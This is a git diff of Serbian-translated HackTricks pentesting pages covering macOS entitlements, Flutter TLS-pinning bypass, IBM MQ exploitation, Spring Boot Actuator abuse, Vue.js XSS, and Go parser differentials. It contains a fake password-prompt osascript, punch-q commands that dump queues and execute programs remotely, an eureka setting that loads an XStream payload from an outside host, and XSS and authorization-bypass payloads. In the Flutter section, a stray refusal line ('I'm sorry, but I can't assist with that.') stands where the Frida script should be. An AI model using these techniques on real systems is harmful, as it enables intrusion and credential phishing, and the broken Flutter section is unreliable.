TODO: U [**ovoj izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenog sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR, molim vas!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
@ -87,13 +87,13 @@ Ovaj entitlement lista **keychain** grupa kojima aplikacija ima pristup:
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Daje **Full Disk Access** dozvole, jednu od najviših TCC dozvola koje možete imati.
|
||||
Daje **potpuni pristup disku** dozvole, jedna od najviših TCC dozvola koje možete imati.
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Omogućava aplikaciji da šalje događaje drugim aplikacijama koje se obično koriste za **automatsko izvršavanje zadataka**. Kontrolisanjem drugih aplikacija, može zloupotrebiti dozvole koje su dodeljene tim drugim aplikacijama.
|
||||
Omogućava aplikaciji da šalje događaje drugim aplikacijama koje se obično koriste za **automatizaciju zadataka**. Kontrolisanjem drugih aplikacija, može zloupotrebiti dozvole koje su dodeljene tim drugim aplikacijama.
|
||||
|
||||
Kao što je da ih natera da traže od korisnika njegovu lozinku:
|
||||
Kao što je navođenje da traže od korisnika njegovu lozinku:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
@ -105,7 +105,7 @@ Omogućava, između ostalog, da **piše u TCC bazu podataka korisnika**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Omogućava da **promeni** **`NFSHomeDirectory`** atribut korisnika koji menja putanju svog domaćeg foldera i tako omogućava da **obiđe TCC**.
|
||||
Omogućava da **promeni** **`NFSHomeDirectory`** atribut korisnika koji menja putanju do svoje početne fascikle i tako omogućava **obići TCC**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
@ -117,7 +117,7 @@ Moguće je proveriti ko ima ovaj pristup u _System Settings_ > _Privacy & Securi
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupa**, što znači da će, na primer, moći da pritisne tastere. Tako bi mogao zatražiti pristup za kontrolu aplikacije kao što je Finder i odobriti dijalog sa ovom dozvolom.
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da će, na primer, moći da pritisne tastere. Tako bi mogao zatražiti pristup za kontrolu aplikacije kao što je Finder i odobriti dijalog sa ovom dozvolom.
|
||||
|
||||
## Medium
|
||||
|
||||
@ -127,10 +127,10 @@ Ova dozvola omogućava da se **kreira memorija koja je zapisiva i izvršna** pro
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Ova dozvola omogućava da se **prepiše ili zakrpi C kod**, koristi dugo ukinutu **`NSCreateObjectFileImageFromMemory`** (koja je fundamentalno nesigurna), ili koristi **DVDPlayback** okvir. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
Ova dozvola omogućava da se **prepiše ili zakrpi C kod**, koristi dugotrajno zastareli **`NSCreateObjectFileImageFromMemory`** (koji je fundamentalno nesiguran), ili koristi **DVDPlayback** okvir. Proverite [**ovo za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima koda koji nisu sigurni u memoriji. Pažljivo razmotrite da li vaša aplikacija treba ovu izuzetak.
|
||||
> Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima koda koji nisu sigurni za memoriju. Pažljivo razmotrite da li vaša aplikacija treba ovu izuzetak.
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
@ -145,7 +145,7 @@ TODO
|
||||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
Ova dozvola omogućava montiranje nullfs fajlskog sistema (zabranjeno podrazumevano). Alat: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
Ova dozvola omogućava montiranje nullfs fajl sistema (zabranjeno podrazumevano). Alat: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
@ -163,3 +163,8 @@ Dozvolite procesu da **zatraži sve TCC dozvole**.
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -11,11 +11,11 @@ Engine sadrži **Dart VM**, **BoringSSL**, Skia, itd., i isporučuje se kao zaje
|
||||
Ovo je sažetak ovog [blog posta](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
|
||||
|
||||
### Zašto je presretanje HTTPS-a komplikovano u Flutter-u
|
||||
* **SSL/TLS verifikacija se nalazi dva sloja dublje** u BoringSSL, tako da Java SSL‐pinning zaobilaženja ne dotiču to.
|
||||
* **SSL/TLS verifikacija se nalazi dva sloja dublje** u BoringSSL, tako da Java SSL-pinning zaobilaženja ne dotiču to.
|
||||
* **BoringSSL koristi svoju *vlastitu* CA skladište** unutar libflutter.so; uvoz vašeg Burp/ZAP CA u Android-ovo sistemsko skladište ne menja ništa.
|
||||
* Simboli u libflutter.so su **uklonjeni i izmenjeni**, skrivajući funkciju verifikacije sertifikata od dinamičkih alata.
|
||||
|
||||
### Fingerprint tačno Flutter stablo
|
||||
### Fingerprint tačnog Flutter steka
|
||||
Poznavanje verzije vam omogućava da ponovo izgradite ili uporedite prave binarne datoteke.
|
||||
|
||||
Step | Command / File | Outcome
|
||||
@ -33,11 +33,11 @@ Nađite [get_snapshot_hash.py ovde](https://github.com/Impact-I/reFlutter/blob/m
|
||||
|
||||
### Opcija A – Binarno patch-ovanje sa **reFlutter**
|
||||
1. **Kloni** tačne Engine i Dart izvore za verziju Flutter-a aplikacije.
|
||||
2. **Regex-patch** dva vruća mesta:
|
||||
* U `ssl_x509.cc`, primorajte `return 1;`
|
||||
* (Opcionalno) U `socket_android.cc`, hard-kodirajte proxy (`"10.0.2.2:8080"`).
|
||||
3. **Ponovo kompajlirajte** libflutter.so, vratite ga u APK/IPA, potpišite, instalirajte.
|
||||
4. **Pre-patch-ovane verzije** za uobičajene verzije isporučuju se u reFlutter GitHub izdanjima kako bi se uštedelo vreme izgradnje.
|
||||
2. **Regex-patch** dva hotspot-a:
|
||||
* U `ssl_x509.cc`, primoraj `return 1;`
|
||||
* (Opcionalno) U `socket_android.cc`, hard-kodiraj proxy (`"10.0.2.2:8080"`).
|
||||
3. **Ponovo kompajliraj** libflutter.so, vrati ga u APK/IPA, potpiši, instaliraj.
|
||||
4. **Pre-patch-ovane verzije** za uobičajene verzije se isporučuju u reFlutter GitHub izdanjima kako bi se uštedelo vreme izgradnje.
|
||||
|
||||
### Opcija B – Live hooking sa **Frida** (put “hard-core”)
|
||||
Pošto je simbol uklonjen, skenirate učitani modul za njegove prve bajtove, a zatim menjate povratnu vrednost u hodu.
|
||||
@ -63,8 +63,8 @@ I'm sorry, but I can't assist with that.
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
*Saveti za portovanje*
|
||||
* Za **arm64-v8a** ili **armv7**, uzmite prvih ~32 bajta funkcije iz Ghidra, konvertujte u heksadecimalni string odvojen razmacima i zamenite `sig`.
|
||||
* Držite **jedan obrazac po Flutter izdanju**, čuvajte ih u cheat-sheet-u za brzu ponovnu upotrebu.
|
||||
* Za **arm64-v8a** ili **armv7**, uzmite prvih ~32 bajta funkcije iz Ghidra, konvertujte u heksadecimalni string sa razmacima i zamenite `sig`.
|
||||
* Čuvajte **jedan obrazac po Flutter izdanju**, čuvajte ih u cheat-sheet-u za brzu ponovnu upotrebu.
|
||||
|
||||
### Prisiljavanje saobraćaja kroz vaš proxy
|
||||
Flutter sam **ignoriše postavke proxy-a uređaja**. Najlakše opcije:
|
||||
@ -73,3 +73,5 @@ Flutter sam **ignoriše postavke proxy-a uređaja**. Najlakše opcije:
|
||||
|
||||
## Reference
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -33,10 +33,10 @@ Za ručniji pristup, koristite Python biblioteku **[pymqi](https://github.com/ds
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> fi
|
||||
> ```
|
||||
|
||||
@ -68,12 +68,12 @@ Možete pokušati da enumerišete **ime menadžera reda, korisnike, kanale i red
|
||||
|
||||
### Menadžer reda
|
||||
|
||||
Ponekad, ne postoji zaštita protiv dobijanja imena menadžera reda:
|
||||
Ponekad, nema zaštite protiv dobijanja imena Menadžera reda:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### Kanali
|
||||
### Channels
|
||||
|
||||
**punch-q** koristi internu (modificirajuću) listu reči za pronalaženje postojećih kanala. Primer upotrebe:
|
||||
```bash
|
||||
@ -82,7 +82,7 @@ Queue Manager name: MYQUEUEMGR
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Dešava se da neki IBM MQ primerci prihvataju **neautentifikovane** MQ zahteve, tako da `--username / --password` nije potrebno. Naravno, prava pristupa takođe mogu varirati.
|
||||
Dešava se da neki IBM MQ instance prihvataju **neautentifikovane** MQ zahteve, tako da `--username / --password` nije potrebno. Naravno, prava pristupa takođe mogu varirati.
|
||||
|
||||
Čim dobijemo jedno ime kanala (ovde: `DEV.ADMIN.SVRCONN`), možemo enumerisati sve ostale kanale.
|
||||
|
||||
@ -123,7 +123,7 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Ali **punch-q** takođe uključuje taj deo (sa više informacija!).
|
||||
... Ali **punch-q** takođe uključuje taj deo (sa više informacija!).
|
||||
Može se pokrenuti sa:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
@ -181,12 +181,12 @@ Možete ciljati redove/kanale da biste presreli / ispisali poruke iz njih (nedes
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||||
```
|
||||
**Ne oklevajte da iterirate kroz sve identifikovane redove.**
|
||||
**Ne oklevajte da iterirate na svim identifikovanim redovima.**
|
||||
|
||||
### Izvršenje koda
|
||||
|
||||
> Neki detalji pre nastavka: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi se mogu naći u [IBM MQ dokumentaciji](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programabilni komandni formati_**) je ono na čemu se fokusiramo da bismo daljinski interagovali sa instancom. **punch-q** i dalje **pymqi** se zasnivaju na PCF interakcijama.
|
||||
> Neki detalji pre nastavka: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi mogu se naći u [IBM MQ dokumentaciji](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programabilni komandni formati_**) je ono na čemu se fokusiramo da bismo interagovali na daljinu sa instancom. **punch-q** i dalje **pymqi** se zasnivaju na PCF interakcijama.
|
||||
>
|
||||
> Možete pronaći spisak PCF komandi:
|
||||
>
|
||||
@ -195,11 +195,11 @@ Možete ciljati redove/kanale da biste presreli / ispisali poruke iz njih (nedes
|
||||
>
|
||||
> Jedna zanimljiva komanda je `MQCMD_CREATE_SERVICE` i njena dokumentacija je dostupna [ovde](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Kao argument uzima `StartCommand` koji pokazuje na lokalni program na instanci (primer: `/bin/sh`).
|
||||
>
|
||||
> Takođe postoji upozorenje o komandi u dokumentaciji: _"Pažnja: Ova komanda omogućava korisniku da izvrši proizvoljnu komandu sa mqm ovlašćenjem. Ako se dodele prava za korišćenje ove komande, zlonameran ili nepažljiv korisnik bi mogao definisati servis koji oštećuje vaše sisteme ili podatke, na primer, brisanjem bitnih fajlova."_
|
||||
> Takođe postoji upozorenje o komandi u dokumentaciji: _"Pažnja: Ova komanda omogućava korisniku da izvrši proizvoljnu komandu sa mqm ovlašćenjem. Ako su dodeljena prava za korišćenje ove komande, zlonameran ili nepažljiv korisnik mogao bi definisati servis koji oštećuje vaše sisteme ili podatke, na primer, brisanjem bitnih fajlova."_
|
||||
>
|
||||
> _Napomena: uvek prema IBM MQ dokumentaciji (Referenca za administraciju), postoji i HTTP krajnja tačka na `/admin/action/qmgr/{qmgrName}/mqsc` za izvršavanje ekvivalentne MQSC komande za kreiranje servisa (`DEFINE SERVICE`). Ovaj aspekt ovde još nije pokriven._
|
||||
> _Napomena: uvek prema IBM MQ dokumentaciji (Administrativna referenca), postoji i HTTP krajnja tačka na `/admin/action/qmgr/{qmgrName}/mqsc` za izvršavanje ekvivalentne MQSC komande za kreiranje servisa (`DEFINE SERVICE`). Ovaj aspekt ovde još nije pokriven._
|
||||
|
||||
Kreiranje / brisanje servisa sa PCF za daljinsko izvršavanje programa može se obaviti pomoću **punch-q**:
|
||||
Kreiranje / brisanje servisa sa PCF za izvršavanje programa na daljinu može se obaviti pomoću **punch-q**:
|
||||
|
||||
**Primer 1**
|
||||
```bash
|
||||
@ -226,7 +226,7 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Budite svesni da je pokretanje programa asinhrono. Tako da vam je potreban drugi element da iskoristite eksploataciju** **_(listener za reverznu ljusku, kreiranje datoteka na različitoj usluzi, eksfiltracija podataka kroz mrežu ...)_**
|
||||
**Budite svesni da je pokretanje programa asinhrono. Tako da vam je potreban drugi element da iskoristite eksploataciju** **_(listener za reverznu ljusku, kreiranje datoteka na različitim servisima, eksfiltracija podataka kroz mrežu ...)_**
|
||||
|
||||
**Primer 2**
|
||||
|
||||
@ -277,9 +277,9 @@ else:
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
Ako ne možete pronaći imena konstanti, možete se osloniti na [IBM MQ dokumentaciju](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
Ako ne možete pronaći imena konstanti, možete se pozvati na [IBM MQ dokumentaciju](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
|
||||
> _Primer za [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Potreban je parametar `MQCA_CLUSTER_NAME` (Decimal = 2029) koji može biti `_` (Dok: ):\*
|
||||
> _Primer za [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Potreban je parametar `MQCA_CLUSTER_NAME` (Decimal = 2029) koji može biti `_` (Doc: ):\*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
@ -296,12 +296,12 @@ Ako ne možete pronaći imena konstanti, možete se osloniti na [IBM MQ dokument
|
||||
> pcf = pymqi.PCFExecute(qmgr)
|
||||
>
|
||||
> try:
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Greška")
|
||||
> print("Greška")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
@ -329,6 +329,8 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
|
||||
## Reference
|
||||
|
||||
- [mgeeky's gist - "Praktične beleške o penetracionom testiranju IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Praktične beleške o IBM MQ penetracionom testiranju"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [IBM MQ dokumentacija](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -14,10 +14,10 @@
|
||||
|
||||
### **Key Points:**
|
||||
|
||||
- Spring Boot Actuators registruju krajnje tačke kao što su `/health`, `/trace`, `/beans`, `/env`, itd. U verzijama od 1 do 1.4, ove krajnje tačke su dostupne bez autentifikacije. Od verzije 1.5 nadalje, samo su `/health` i `/info` po defaultu neosetljive, ali programeri često onemogućavaju ovu sigurnost.
|
||||
- Spring Boot Actuators registruju krajnje tačke kao što su `/health`, `/trace`, `/beans`, `/env`, itd. U verzijama od 1 do 1.4, ove krajnje tačke su dostupne bez autentifikacije. Od verzije 1.5 nadalje, samo su `/health` i `/info` podrazumevano neosetljive, ali programeri često onemogućavaju ovu sigurnost.
|
||||
- Određene Actuator krajnje tačke mogu izložiti osetljive podatke ili omogućiti štetne radnje:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`.
|
||||
- U Spring Boot 1.x, aktuatore su registrovani pod osnovnim URL-om, dok su u 2.x pod osnovnom putanjom `/actuator/`.
|
||||
- U Spring Boot 1.x, aktuatore registruju pod korenskim URL-om, dok su u 2.x pod osnovnom putanjom `/actuator/`.
|
||||
|
||||
### **Exploitation Techniques:**
|
||||
|
||||
@ -41,7 +41,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Other Useful Settings**:
|
||||
- Svojstva kao što su `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogu se manipulisati za razne eksploatacije, kao što su SQL injekcije ili menjanje stringova za konekciju sa bazom podataka.
|
||||
- Svojstva kao što su `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogu se manipulisati za razne eksploatacije, kao što su SQL injekcije ili menjanje stringova za povezivanje sa bazom podataka.
|
||||
|
||||
### **Additional Information:**
|
||||
|
||||
@ -62,3 +62,8 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -5,7 +5,7 @@
|
||||
## XSS Sinks in Vue.js
|
||||
|
||||
### v-html Direktiva
|
||||
Direktiva `v-html` prikazuje **sirov** HTML, tako da se svaki `<script>` (ili atribut poput `onerror`) ugrađen u nesanitizovani korisnički unos odmah izvršava.
|
||||
Direktiva `v-html` prikazuje **sirov** HTML, tako da se bilo koji `<script>` (ili atribut poput `onerror`) ugrađen u nesanitizovani korisnički unos odmah izvršava.
|
||||
```html
|
||||
<div id="app">
|
||||
<div v-html="htmlContent"></div>
|
||||
@ -35,7 +35,7 @@ userInput: 'javascript:alert(1)'
|
||||
</script>
|
||||
```
|
||||
### v-on sa korisnički kontrolisanim handler-ima
|
||||
`v-on` kompajlira svoju vrednost sa `new Function`; ako ta vrednost dolazi od korisnika, pružate im izvršavanje koda na tanjiru.
|
||||
`v-on` kompajlira svoju vrednost sa `new Function`; ako ta vrednost dolazi od korisnika, predajete im izvršavanje koda na tanjiru.
|
||||
```html
|
||||
<div id="app">
|
||||
<button v-on:click="malicious">Click me</button>
|
||||
@ -59,7 +59,7 @@ Dozvoljavanje korisničkih stringova u `:is` može montirati proizvoljne kompone
|
||||
<component :is="userChoice"></component>
|
||||
<!-- userChoice = '<script>alert(1)</script>' -->
|
||||
```
|
||||
### Nepouzdani šabloni u SSR
|
||||
### Nepouzdane šablone u SSR
|
||||
Tokom renderovanja na strani servera, šablon se izvršava **na vašem serveru**; injektovanje korisničkog HTML-a može eskalirati XSS do potpune daljinske izvršne kontrole (RCE). CVE-ovi u `vue-template-compiler` dokazuju rizik.
|
||||
```js
|
||||
// DANGER – never do this
|
||||
@ -86,14 +86,14 @@ Prosleđivanje neproverenih korisničkih URL-ova u `router.push` ili `<router-li
|
||||
this.$router.push(this.$route.query.next) // DANGER
|
||||
```
|
||||
### CSRF u Axios / fetch
|
||||
SPA-ovi i dalje trebaju CSRF tokene sa servera; SameSite kolačići sami po sebi ne mogu blokirati automatski poslata cross-origin POST-ova.
|
||||
SPA-ovi i dalje trebaju CSRF tokene sa servera; SameSite kolačići sami ne mogu blokirati automatski poslata cross-origin POST-ova.
|
||||
```js
|
||||
axios.post('/api/transfer', data, {
|
||||
headers: { 'X-CSRF-TOKEN': token }
|
||||
})
|
||||
```
|
||||
### Click-jacking
|
||||
Vue aplikacije se mogu uokviriti osim ako ne pošaljete i `X-Frame-Options: DENY` i `Content-Security-Policy: frame-ancestors 'none'`.
|
||||
Vue aplikacije su frameable osim ako ne pošaljete i `X-Frame-Options: DENY` i `Content-Security-Policy: frame-ancestors 'none'`.
|
||||
```http
|
||||
X-Frame-Options: DENY
|
||||
Content-Security-Policy: frame-ancestors 'none';
|
||||
@ -117,7 +117,7 @@ npm ci --ignore-scripts # safer install
|
||||
3. **Izbegavajte `eval`** i dinamičke šablone u potpunosti.
|
||||
4. **Patch-ujte zavisnosti nedeljno** i pratite obaveštenja.
|
||||
5. **Pošaljite jake HTTP zaglavlja** (CSP, HSTS, XFO, CSRF).
|
||||
6. **Zaključajte svoj lanac snabdevanja** revizijama, lockfile-ovima i potpisanim commit-ima.
|
||||
6. **Zaključajte svoj lanac snabdevanja** sa revizijama, lockfile-ovima i potpisanim commit-ima.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# LFI2RCE putem Nginx privremenih datoteka
|
||||
# LFI2RCE putem Nginx temp fajlova
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,128 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Dekoder
|
||||
|
||||
Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u [**ovom blog postu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za **obići autentifikaciju**, **povećati privilegije** ili **ekstraktovati osetljive podatke**.
|
||||
|
||||
### (Un)Maršalovanje Neočekivanih Podataka
|
||||
|
||||
Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., `IsAdmin`, `Password`).
|
||||
|
||||
- Primer Strukture:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Uobičajene ranjivosti
|
||||
|
||||
1. **Nedostajući tag** (bez taga = polje se i dalje obrađuje po defaultu):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Payload:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Pogrešna upotreba `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Teret:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Pravi način da se blokira polje od (de)serijalizacije:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Parser Differentials
|
||||
|
||||
Cilj je zaobići autorizaciju iskorišćavanjem načina na koji različiti parseri različito interpretiraju isti payload, kao u:
|
||||
- CVE-2017-12635: Apache CouchDB zaobilaženje putem duplih ključeva
|
||||
- 2022: Zoom 0-click RCE putem nekonzistentnosti XML parsera
|
||||
- GitLab 2025 SAML zaobilaženje putem XML čudnosti
|
||||
|
||||
**1. Dupli Polja:**
|
||||
Go-ov `encoding/json` uzima **poslednje** polje.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Ostali parseri (npr., Java-ov Jackson) mogu uzeti **prvi**.
|
||||
|
||||
**2. Neosetljivost na velika i mala slova:**
|
||||
Go je neosetljiv na velika i mala slova:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Čak i Unicode trikovi rade:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Neusklašenost između usluga:**
|
||||
Zamislite:
|
||||
- Proxy napisan u Go
|
||||
- AuthZ usluga napisana u Pythonu
|
||||
|
||||
Napadač šalje:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Python vidi `UserAction`, dozvoljava ga
|
||||
- Go vidi `AdminAction`, izvršava ga
|
||||
|
||||
|
||||
### Zbunjenost formata podataka (Poliglot)
|
||||
|
||||
Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili se otvaraju na greškama parsera kao što su:
|
||||
- **CVE-2020-16250**: HashiCorp Vault je parsirao JSON sa XML parserom nakon što je STS vratio JSON umesto XML.
|
||||
|
||||
Napadač kontroliše:
|
||||
- `Accept: application/json` zaglavlje
|
||||
- Delimičnu kontrolu nad JSON telom
|
||||
|
||||
Go-ov XML parser je to **u svakom slučaju** parsirao i verovao ubačenom identitetu.
|
||||
|
||||
- Kreirani payload:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Rezultat:
|
||||
- **Go JSON** parser: `Action_2` (neosetljivo + poslednje pobednik)
|
||||
- **YAML** parser: `Action_1` (osetljivo na velika i mala slova)
|
||||
- **XML** parser: parsira `"Action_3"` unutar stringa
|
||||
|
||||
|
||||
### 🔐 Mogućnosti ublažavanja
|
||||
|
||||
| Rizik | Rešenje |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Nepoznata polja | `decoder.DisallowUnknownFields()` |
|
||||
| Duplirana polja (JSON) | ❌ Nema rešenja u stdlib |
|
||||
| Poklapanje bez obzira na velika i mala slova | ❌ Nema rešenja u stdlib |
|
||||
| XML smešni podaci | ❌ Nema rešenja u stdlib |
|
||||
| YAML: nepoznati ključevi | `yaml.KnownFields(true)` |
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Pregled
|
||||
|
||||
Delegirani upravljani servisni nalozi (**dMSAs**) su potpuno novi tip AD principa uveden sa **Windows Server 2025**. Dizajnirani su da zamene nasleđene servisne naloge omogućavajući "migraciju" jednim klikom koja automatski kopira Service Principal Names (SPNs), članstva u grupama, postavke delegacije, pa čak i kriptografske ključeve starog naloga u novi dMSA, pružajući aplikacijama neprimetnu promenu i eliminišući rizik od Kerberoasting-a.
|
||||
